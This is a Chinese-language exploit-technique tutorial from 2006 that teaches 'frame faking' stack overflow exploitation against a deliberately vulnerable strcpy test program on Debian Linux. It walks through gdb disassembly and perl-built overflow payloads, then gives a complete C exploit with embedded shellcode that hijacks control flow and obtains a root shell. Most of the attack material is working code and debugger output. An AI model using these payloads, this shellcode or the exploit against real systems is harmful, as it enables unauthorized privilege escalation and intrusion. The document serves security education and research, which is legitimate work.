Advanced Exploit Techique之--frame faking技术创建时间:2006-02-15 文章属性:原创 文章提交:Ph4nt0m (axis_at_ph4nt0m.org) Advanced Exploit Techique之--frame faking技术 (PST) ---------[ Subject : Advanced Exploit Techique之--frame faking技术 ] ---------[ Author : axis(axis@ph4nt0m.org) ] ---------[ Copyright : www.ph4nt0m.org www.secwiki.com ] ---------[ Date : 02/15/2006 ] ---------[ Version : 1.0 ] |=-----------------------------------------------------------------------------=| ---------[ Table of Contents ] 0x210 - 前言 0x220 - frame faking原理分析 0x230 - Having Fun with Fake Frame 0x240 - frame faking拓展 0x250 - Exploit Demo 0x260 - Conclusion 0x270 - Reference |=-----------------------------------------------------------------------------=| ---------[ 0x210 - 前言 ] Frame Faking是针对栈的操作,伪造一个fake frame,改变程序流程,在新的栈桢里执行我们想要执行的指令。 fake frame是非常灵活的,它可以放在任何你想放且可以放的地方,可以写任何你想写且可以写的东西。用来编写exploit里面,无疑又是另外一种绕过不可执行栈保护的方法。对于不检查返回地址是否改变的不可执行栈补丁,构造fake frame的方法可以轻易绕过。对于检查函数返回地址是否改变的不可执行栈补丁像execshield这种,可以参考我的另外一篇文章《Bypass Exec-shield Under Redhat》 本文只讨论frame faking技术本身,不对绕过不可执行栈的技巧做具体说明,想进一步了解相关内容,可以参考我上面说的那篇文章。 本文的平台是Debian Linux 3.1r0 axis@debian-security:/etc$ id uid=1000(axis) gid=1000(axis) groups=1000(axis),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev) axis@debian-security:/etc$ uname -a Linux debian-security 2.4.27-2-386 #1 Wed Aug 17 09:33:35 UTC 2005 i686 GNU/Linux axis@debian-security:/etc$ cat /etc/issue.net Debian GNU/Linux 3.1 %h axis@debian-security:/etc$ ---------[ 0x220 - frame faking原理分析 ] 我们知道,普通的buffer overflow的payload是这样写的 +++++++++++++++ | dummy | EIP | +++++++++++++++ 用dummy来填充缓冲区,直到覆盖了ebp,然后接下来再用指定的地址覆盖EIP,让程序跳转到我们指定的地址去执行。 frame faking也是基于这个基本思想。在这之前,我们先来看一个例子 axis@debian-security:~/explab/fakeframe$ cat test.c #include<stdio.h> void test(char *a){ char buf[256]; strcpy(buf,a); printf("buf is: %s\n",buf); } void t(int n){ n=0; n=n+1; printf("n is : %d\n",n); } int main(int argc,char *argv[]){ int i; test(argv[1]); t(i); return 0; } axis@debian-security:~/explab/fakeframe$ axis@debian-security:~/explab/fakeframe$ gcc -o test test.c axis@debian-security:~/explab/fakeframe$ axis@debian-security:~/explab/fakeframe$ ./test AAAA buf is: AAAA n is : 1 axis@debian-security:~/explab/fakeframe$ 正常情况下,函数test,t都会执行 axis@debian-security:~/explab/fakeframe$ gdb ./test -q Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disass main Dump of assembler code for function main: 0x0804841f <main+0>: push %ebp 0x08048420 <main+1>: mov %esp,%ebp 0x08048422 <main+3>: sub $0x8,%esp 0x08048425 <main+6>: and $0xfffffff0,%esp 0x08048428 <main+9>: mov $0x0,%eax 0x0804842d <main+14>: sub %eax,%esp 0x0804842f <main+16>: mov 0xc(%ebp),%eax 0x08048432 <main+19>: add $0x4,%eax 0x08048435 <main+22>: mov (%eax),%eax 0x08048437 <main+24>: mov %eax,(%esp) 0x0804843a <main+27>: call 0x80483c4 <test> 0x0804843f <main+32>: mov 0xfffffffc(%ebp),%eax 0x08048442 <main+35>: mov %eax,(%esp) 0x08048445 <main+38>: call 0x80483fa <t> 0x0804844a <main+43>: mov $0x0,%eax 0x0804844f <main+48>: leave 0x08048450 <main+49>: ret 0x08048451 <main+50>: nop 0x08048452 <main+51>: nop ... ... End of assembler dump. (gdb) 反汇编main可以看到,首先 push %ebp mov %esp,%ebp 而在main返回时,则是 leave ret 而leave指令事实则是执行了 mov %ebp,%esp pop %ebp 的操作,与main函数的开头刚好相反。 事实上,在现在gcc的一般编译环境下,任何函数都是这样的一个过程。 那么如果我们构造如下payload ++++++++++++++++++++++++++++++++++++++ | dummy | fake EBP addr | leave addr | ++++++++++++++++++++++++++++++++++++++ 用dummy填充了buffer,然后用fake frame的EBP地址来填充 EBP,用leave指令的地址来填充EIP 这样程序就会马上去执行leave指令,当leave指令执行完后,ebp的内容就成了fake frame的ebp,eip就成了fake frame 的&(ebp)+4的内容 也就是以下的一个过程 BUFFER EBP EIP ++++++++++++++++++++++++++++++++++++++ | dummy | fake EBP addr | leave addr | ++++++++++++++++++++++++++++++++++++++ | ~~~~~~~~~~~~~~~~~~~| v ++++++++++++++++++++++++++++++++++++ fake frame | dummy new | fake ebp | fake eip | ++++++++++++++++++++++++++++++++++++ 这样程序再执行的时候,就是在我们的fake frame里执行了,eip也变成了我们的fake eip 而fake frame一般是我们自己构造的,那么我们就可以在我们想要的地方,控制eip了,而不是像以前一样简单的覆盖EIP 如果程序本身将执行leave指令,那么我们甚至不需要用leave addr来覆盖EIP,而只需要覆盖到EBP,就可以完成我们的payload了! ---------[ 0x230 - Having Fun with Fake Frame ] 我们来看点实际的东西,还是上面那个test程序 有漏洞的函数是test (gdb) disass test Dump of assembler code for function test: 0x080483c4 <test+0>: push %ebp 0x080483c5 <test+1>: mov %esp,%ebp 0x080483c7 <test+3>: sub $0x118,%esp 0x080483cd <test+9>: mov 0x8(%ebp),%eax 0x080483d0 <test+12>: mov %eax,0x4(%esp) 0x080483d4 <test+16>: lea 0xfffffef8(%ebp),%eax 0x080483da <test+22>: mov %eax,(%esp) 0x080483dd <test+25>: call 0x80482e8 <_init+72> 0x080483e2 <test+30>: lea 0xfffffef8(%ebp),%eax 0x080483e8 <test+36>: mov %eax,0x4(%esp) 0x080483ec <test+40>: movl $0x8048574,(%esp) 0x080483f3 <test+47>: call 0x80482d8 <_init+56> 0x080483f8 <test+52>: leave 0x080483f9 <test+53>: ret End of assembler dump. sub $0x118,%esp 减去dummy data后,应该用268字节来覆盖ebp (gdb) r "`perl -e 'print "A"x268,"\x44\x43\x42\x41"'`" Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "A"x268,"\x44\x43\x42\x41"'`" buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBA Program received signal SIGSEGV, Segmentation fault. 0x41424344 in ?? () (gdb) dummy的大小已经确定了 0x080483f8 <test+52>: leave test函数的leave在0x080483f8 ,我们就用这个地址好了 我们先尝试一下跳转到buffer的最开始 axis@debian-security:~/explab/fakeframe$ gdb ./test -q Using host libthread_db library "/lib/libthread_db.so.1". (gdb) b *test+52 =========》在leave处下个断点 Breakpoint 1 at 0x80483f8 (gdb) r "`perl -e 'print "A"x272'`" Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "A"x272'`" buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x080483f8 in test () (gdb) x/20x $esp =========》可以看到buffer的起点在0xbffff880 0xbffff870: 0x08048574 0xbffff880 0x4003130c 0xbffff8d0 0xbffff880: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff890: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff8a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff8b0: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) 可以看到&buffer在0xbffff880,而&buffer-4的内容是0xbffff8d0 现在,我们用我们的frame faking 的方法来看看 根据我们的payload,我们要让eip变成buffer最开始的0x41414141 那么,我们的fake ebp addr就应该是&buffer-4, 为0xbffff87c (gdb) r "`perl -e 'print "A"x264,"\x7c\xf8\xff\xbf","\xf8\x83\x04\x08"'`" The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "A"x264,"\x7c\xf8\xff\xbf","\xf8\x83\x04\x08"'`" buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|?盔 Breakpoint 1, 0x080483f8 in test () =======》第一次执行leave (gdb) c Continuing. Breakpoint 1, 0x080483f8 in test () =======》第二次执行leave (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i reg eax 0x119 281 ecx 0x4014f2e0 1075114720 edx 0x119 281 ebx 0x40155880 1075140736 esp 0xbffff884 0xbffff884 ebp 0xbffff8d0 0xbffff8d0 ========》fake ebp esi 0x40016540 1073833280 edi 0xbffff9f4 -1073743372 eip 0x41414141 0x41414141 ========》fake eip eflags 0x246 582 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 (gdb) x/20x $esp 0xbffff884: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff894: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff8a4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff8b4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff8c4: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) x/20x $esp-16 0xbffff874: 0xbffff880 0x4003130c 0xbffff8d0 0x41414141 0xbffff884: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff894: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff8a4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff8b4: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) x/x 0xbffff87c 0xbffff87c: 0xbffff8d0 (gdb) x/x 0xbffff880 0xbffff880: 0x41414141 (gdb) 看,正如我们所构想的那样,程序流程跳转到我们想要的地方来执行了! 新的ebp是我们的fake ebp 新的eip是我们的fake eip ---------[ 0x240 - frame faking拓展 ] 根据上面的分析,我们可以灵活多变的来构造fake frame,有时候,会带来一些有趣的东西 我们构造如下payload |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~| v | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | ebp addr | leave addr | dummy to fill-up buffer | fake ebp addr | leave addr | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | A | | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 我们把buffer的最前面构造成fake frame,用原来的ebp地址做fake ebp,eip覆盖为leave的addr,那么就构成了两个fake frame之间的循环 按照payload执行如下 (gdb) r "`perl -e 'print "\x8c\xf9\xff\xbf","\xf8\x83\x04\x08","A"x256,"\x80\xf8\xff\xbf","\xf8\x83\x04\x08"'`" The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "\x8c\xf9\xff\xbf","\xf8\x83\x04\x08","A"x256,"\x80\xf8\xff\xbf","\xf8\x83\x04\x08"'`" buf is: 岡緼AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?盔 Breakpoint 1, 0x080483f8 in test () (gdb) c Continuing. Breakpoint 1, 0x080483f8 in test () (gdb) x/20x $esp 0xbffff990: 0xbffffb00 0xbffff9f4 0xbffff9c8 0x4003be36 0xbffff9a0: 0x00000002 0xbffff9f4 0xbffffa00 0x08048300 0xbffff9b0: 0x00000000 0x4000bcd0 0x40156d74 0x40016ca0 0xbffff9c0: 0x00000002 0x08048300 0x00000000 0x08048321 0xbffff9d0: 0x0804841f 0x00000002 0xbffff9f4 0x08048460 (gdb) x/20x $esp-16 =========》确定好我们的raw ebp的addr,在这里应该是0xbffff988 0xbffff980: 0x41414141 0x41414141 0xbffff880 0x080483f8 0xbffff990: 0xbffffb00 0xbffff9f4 0xbffff9c8 0x4003be36 0xbffff9a0: 0x00000002 0xbffff9f4 0xbffffa00 0x08048300 0xbffff9b0: 0x00000000 0x4000bcd0 0x40156d74 0x40016ca0 0xbffff9c0: 0x00000002 0x08048300 0x00000000 0x08048321 修正后重新开始 (gdb) r "`perl -e 'print "\x88\xf9\xff\xbf","\xf8\x83\x04\x08","A"x256,"\x80\xf8\xff\xbf","\xf8\x83\x04\x08"'`" The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "\x88\xf9\xff\xbf","\xf8\x83\x04\x08","A"x256,"\x80\xf8\xff\xbf","\xf8\x83\x04\x08"'`" buf is: ?緼AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?盔 Breakpoint 1, 0x080483f8 in test () (gdb) c Continuing. Breakpoint 1, 0x080483f8 in test () (gdb) c Continuing. Breakpoint 1, 0x080483f8 in test () (gdb) c Continuing. Breakpoint 1, 0x080483f8 in test () (gdb) c Continuing. Breakpoint 1, 0x080483f8 in test () (gdb) c Continuing. Breakpoint 1, 0x080483f8 in test () (gdb) c Continuing. Breakpoint 1, 0x080483f8 in test () (gdb) c Continuing. Breakpoint 1, 0x080483f8 in test () (gdb) c Continuing. Breakpoint 1, 0x080483f8 in test () (gdb) 看,test()函数永远都执行不完了! 选择不同函数的leave addr得到的结果也不一样 我们采用main函数的leave addr看看 (gdb) disass main Dump of assembler code for function main: 0x0804841f <main+0>: push %ebp 0x08048420 <main+1>: mov %esp,%ebp 0x08048422 <main+3>: sub $0x8,%esp 0x08048425 <main+6>: and $0xfffffff0,%esp 0x08048428 <main+9>: mov $0x0,%eax 0x0804842d <main+14>: sub %eax,%esp 0x0804842f <main+16>: mov 0xc(%ebp),%eax 0x08048432 <main+19>: add $0x4,%eax 0x08048435 <main+22>: mov (%eax),%eax 0x08048437 <main+24>: mov %eax,(%esp) 0x0804843a <main+27>: call 0x80483c4 <test> 0x0804843f <main+32>: mov 0xfffffffc(%ebp),%eax 0x08048442 <main+35>: mov %eax,(%esp) 0x08048445 <main+38>: call 0x80483fa <t> 0x0804844a <main+43>: mov $0x0,%eax 0x0804844f <main+48>: leave 0x08048450 <main+49>: ret 0x08048451 <main+50>: nop (gdb) b *0x0804844f Breakpoint 2 at 0x804844f (gdb) r "`perl -e 'print "\x88\xf9\xff\xbf","\xf8\x83\x04\x08","A"x256,"\x80\xf8\xff\xbf","\x4f\x84\x04\x08"'`" The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "\x88\xf9\xff\xbf","\xf8\x83\x04\x08","A"x256,"\x80\xf8\xff\xbf","\x4f\x84\x04\x08"'`" buf is: ?緼AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?縊 Breakpoint 1, 0x080483f8 in test () (gdb) c Continuing. Breakpoint 2, 0x0804844f in main () (gdb) c Continuing. Breakpoint 1, 0x080483f8 in test () (gdb) c Continuing. Breakpoint 2, 0x0804844f in main () (gdb) c Continuing. Breakpoint 1, 0x080483f8 in test () (gdb) c Continuing. Breakpoint 2, 0x0804844f in main () (gdb) 程序开始在test()函数和main()函数之间来回打转了! 我们可以看的更加细一些 (gdb) disass frame_dummy Dump of assembler code for function frame_dummy: 0x08048390 <frame_dummy+0>: push %ebp 0x08048391 <frame_dummy+1>: mov %esp,%ebp 0x08048393 <frame_dummy+3>: sub $0x8,%esp 0x08048396 <frame_dummy+6>: mov 0x8049674,%eax 0x0804839b <frame_dummy+11>: test %eax,%eax 0x0804839d <frame_dummy+13>: je 0x80483c0 <frame_dummy+48> 0x0804839f <frame_dummy+15>: mov $0x0,%eax 0x080483a4 <frame_dummy+20>: test %eax,%eax 0x080483a6 <frame_dummy+22>: je 0x80483c0 <frame_dummy+48> 0x080483a8 <frame_dummy+24>: movl $0x8049674,(%esp) 0x080483af <frame_dummy+31>: call 0x0 0x080483b4 <frame_dummy+36>: lea 0x0(%esi),%esi 0x080483ba <frame_dummy+42>: lea 0x0(%edi),%edi 0x080483c0 <frame_dummy+48>: mov %ebp,%esp ======》注意这里,实际上就是开始leave 0x080483c2 <frame_dummy+50>: pop %ebp 0x080483c3 <frame_dummy+51>: ret End of assembler dump. (gdb) b *0x080483c2 Breakpoint 3 at 0x80483c2 (gdb) b *0x080483c0 Breakpoint 4 at 0x80483c0 (gdb) r "`perl -e 'print "\x88\xf9\xff\xbf","\xf8\x83\x04\x08","A"x256,"\x80\xf8\xff\xbf","\xc2\x83\x04\x08"'`" The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "\x88\xf9\xff\xbf","\xf8\x83\x04\x08","A"x256,"\x80\xf8\xff\xbf","\xc2\x83\x04\x08"'`" Breakpoint 4, 0x080483c0 in frame_dummy () (gdb) c Continuing. Breakpoint 3, 0x080483c2 in frame_dummy () (gdb) c Continuing. buf is: ?緼AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?柯 Breakpoint 1, 0x080483f8 in test () (gdb) c Continuing. Breakpoint 3, 0x080483c2 in frame_dummy () (gdb) c Continuing. Program received signal SIGILL, Illegal instruction. ========>光是pop %ebp 是不行的 0xbffff9f4 in ?? () (gdb) r "`perl -e 'print "\x88\xf9\xff\xbf","\xf8\x83\x04\x08","A"x256,"\x80\xf8\xff\xbf","\xc0\x83\x04\x08"'`" The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "\x88\xf9\xff\xbf","\xf8\x83\x04\x08","A"x256,"\x80\xf8\xff\xbf","\xc0\x83\x04\x08"'`" Breakpoint 4, 0x080483c0 in frame_dummy () (gdb) c Continuing. Breakpoint 3, 0x080483c2 in frame_dummy () (gdb) c Continuing. buf is: ?緼AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?坷 Breakpoint 1, 0x080483f8 in test () (gdb) c Continuing. Breakpoint 4, 0x080483c0 in frame_dummy () (gdb) c Continuing. Breakpoint 3, 0x080483c2 in frame_dummy () (gdb) c Continuing. Breakpoint 1, 0x080483f8 in test () (gdb) c Continuing. Breakpoint 4, 0x080483c0 in frame_dummy () (gdb) c Continuing. Breakpoint 3, 0x080483c2 in frame_dummy () (gdb) c Continuing. Breakpoint 1, 0x080483f8 in test () (gdb) c Continuing. Breakpoint 4, 0x080483c0 in frame_dummy () (gdb) c Continuing. Breakpoint 3, 0x080483c2 in frame_dummy () (gdb) c Continuing. Breakpoint 1, 0x080483f8 in test () (gdb) c Continuing. Breakpoint 4, 0x080483c0 in frame_dummy () (gdb) 所以,我们payload需要的leave指令实际上是只要执行mov %ebp,%esp 通过构造fake frame,可以随心所欲的控制程序流程,你可以把一个函数执行了一遍又一遍,你就是上帝! ---------[ 0x250 - Exploit Demo ] 终于到重点了。 利用fake frame来获得系统控制权的方法实在是太灵活多样了,因为整个frame完全是你faking出来的,那么实际上就是欺骗程序让它来执行你指定的流程。 比如,你可以把fake frame的eip设定为shellcode的地址,又或者把fake frame的eip设定为return into libc所需要的函数入口地址。 怎样随心所欲就要看你的想象力和创造力了。 比较复杂的一种方法就是构造个与原来的frame非常相似的fake frame 比如,原来的函数里是原来的frame是 ++++++++++++++++++++++++++++++++++++++++++++ | &printf | addr of AAAA |raw ebp |raw eip | ++++++++++++++++++++++++++++++++++++++++++++ 这里的raw eip应该是整个函数的ret 原本会执行 prinf("AAAA");的操作 但如果构造了 fake frame,通过frame faking改变流程后 构造的fake frame 如下 +++++++++++++++++++++++++++++++++++++++++++++++ | &system | addr of /bin/sh |raw ebp |raw eip | +++++++++++++++++++++++++++++++++++++++++++++++ fake ebp和fake eip都和raw ebp,raw eip一样,而前面的函数则用system替换 那么这个时候程序就会执行 system("/bin/sh"); 这种方法是要在整个frame里寻找一个“有用”的函数,来让我们顺利的构造fake frame 具体请参考gotfault上的一篇文章《Function Stack Frame Manipulation》 这里我们简单演示下如果利用fake frame来写exploit 我们的payload很简单 &buffer(fake ebp) (fake eip) (&buffer+8) (fake ebp addr) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ | 4 bytes dummy | &buffer+8 | NOPS | shellcode | &buffer | leave addr | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ A | A | | | | | | ~~~~~~~~~~~~ | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 这里说个小插曲 vangelis在他的paper《Stack-based Overflow Exploit: Introduction to Classical and Advanced Overflow Technique》里 提到的frame faking 时,构造的exp是错误的 他的payload没错 ------------------------------------------------------ | data to overflow buffer | fake_ebp0 | leaveret | ------------------------------------------------------ 但在演示的时候,他直接把fake_ebp0用shellcode的地址替换了,这就不正确了 在他的paper中,他直接把EIP给覆盖成了shellcode地址,所以他演示成功了 但实际上,应该是用leaveret来覆盖EIP,fake_ebp0应该是fake_ebp1的地址 而fake_eip1才应该是shellcode的地址. 回到本文上来.根据我们上面提出的payload,我们构造如下exploit axis@debian-security:~/explab/fakeframe$ cat ex_framefaking.c /* fake frame demo exploit coded by axis axis@ph4nt0m.org use payload | dummy | fake ebp0 | main's leave ret addr| here is | dummy 4 bytes to fake ebp | fake eip, addr of buf +8 to nops | NOPS | shellcode | fake ebp,here use addr of buf(overwrite the ebp) | vul's main()'s leave| */ #include<stdio.h> char shellcode[]= "\x55\x89\xe5\x55\x89\xe5\x83\xec\x28\xc6\x45\xd8\x2f\xc6\x45\xdc\x2f\xc6\x45\xd9\x5f\xc6\x45\xda\x5a\xc6\x45\xdb\x5f\xc6\x45\xdd\x5f\xc6\x45\xde\x5f\x83\x45\xd9\x03\x83\x45\xda\x0f\x83\x45\xdb\x0f\x83\x45\xdd\x14\x83\x45\xde\x09\x31\xc0\x89\x45\xdf\x89\x45\xf4\x8d\x45\xd8\x89\x45\xf0\x83\xec\x04\x8d\x45\xf0\x31\xd2\x89\xd3\x89\xc1\x8b\x45\xf0\x89\xc3\x31\xc0\x83\xc0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"; //这段shellcode是teso的一段bind shellcode,100 bytes,放到这里大材小用了 int main(int argc,char *argv[]){ char buf[272]; char *args[]={"./test",buf,NULL}; memset(buf,0x90,sizeof(buf)); memcpy(buf+130,shellcode,100); memcpy(buf+4,"\xdb\xfe\xff\xbf",4); // buf + 8 's addr ===>nops memcpy(buf+264,"\xd3\xfe\xff\xbf",4); //buf's addr to overwrite the ebp memcpy(buf+268,"\x4f\x84\x04\x08",4); // main's leave addr execve("./test",args,NULL); return 0; } axis@debian-security:~/explab/fakeframe$ axis@debian-security:~/explab/fakeframe$ gcc -o ex_framefaking ex_framefaking.c axis@debian-security:~/explab/fakeframe$ axis@debian-security:~/explab/fakeframe$ ./ex_framefaking E?覊訅翄E饓?纼 buf is: 悙悙埝繍悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙E貕E饍悙悙悙悙悙悙悙悙蛝1繞蛝悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙誉縊悙悙悙怳夊U夊冹(艵?艵?艵賍艵赯艵踎艵輄艵轤僂僂僂僂僂 1缐E邏E @e@4?@ sh-2.05b# id uid=1000(axis) gid=1000(axis) euid=0(root) groups=1000(axis),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev) sh-2.05b# uname -a Linux debian-security 2.4.27-2-386 #1 Wed Aug 17 09:33:35 UTC 2005 i686 GNU/Linux sh-2.05b# cat /etc/issue.net Debian GNU/Linux 3.1 %h sh-2.05b# 看!我们成功拿到rootshell了! ---------[ 0x260 - Conclusion ] frame faking是一种高级的exploit技术,形式非常灵活,是写exploit的强大武器,在很多不可执行栈保护的补丁下仍然有用武之地。更为灵活的利用方式,有赖于丰富的想象力和创造力。 Thanks to all guys from ph4nt0m! Welcome to Ph4nt0m! http://www.ph4nt0m.org Welcome to Secwiki! http://www.secwiki.com ---------[ 0x270 - Reference ] 《Function Stack Frame Manipulation》 by barros A.K.A Carlos Barros http://gotfault.net/knowledge/module/0x300/0x300-MODULE.txt 《The advanced return-into-lib(c) exploits》 by Nergal http://www.phrack.org/phrack/58/p58-0x04 《绕过Pax内核补丁保护的方法浅析---高级的return-into-lib(c) exploits技术》 by alert7 http://elfhack.whitecell.org/mydocs/p58-0x04(cn).txt -EOF- |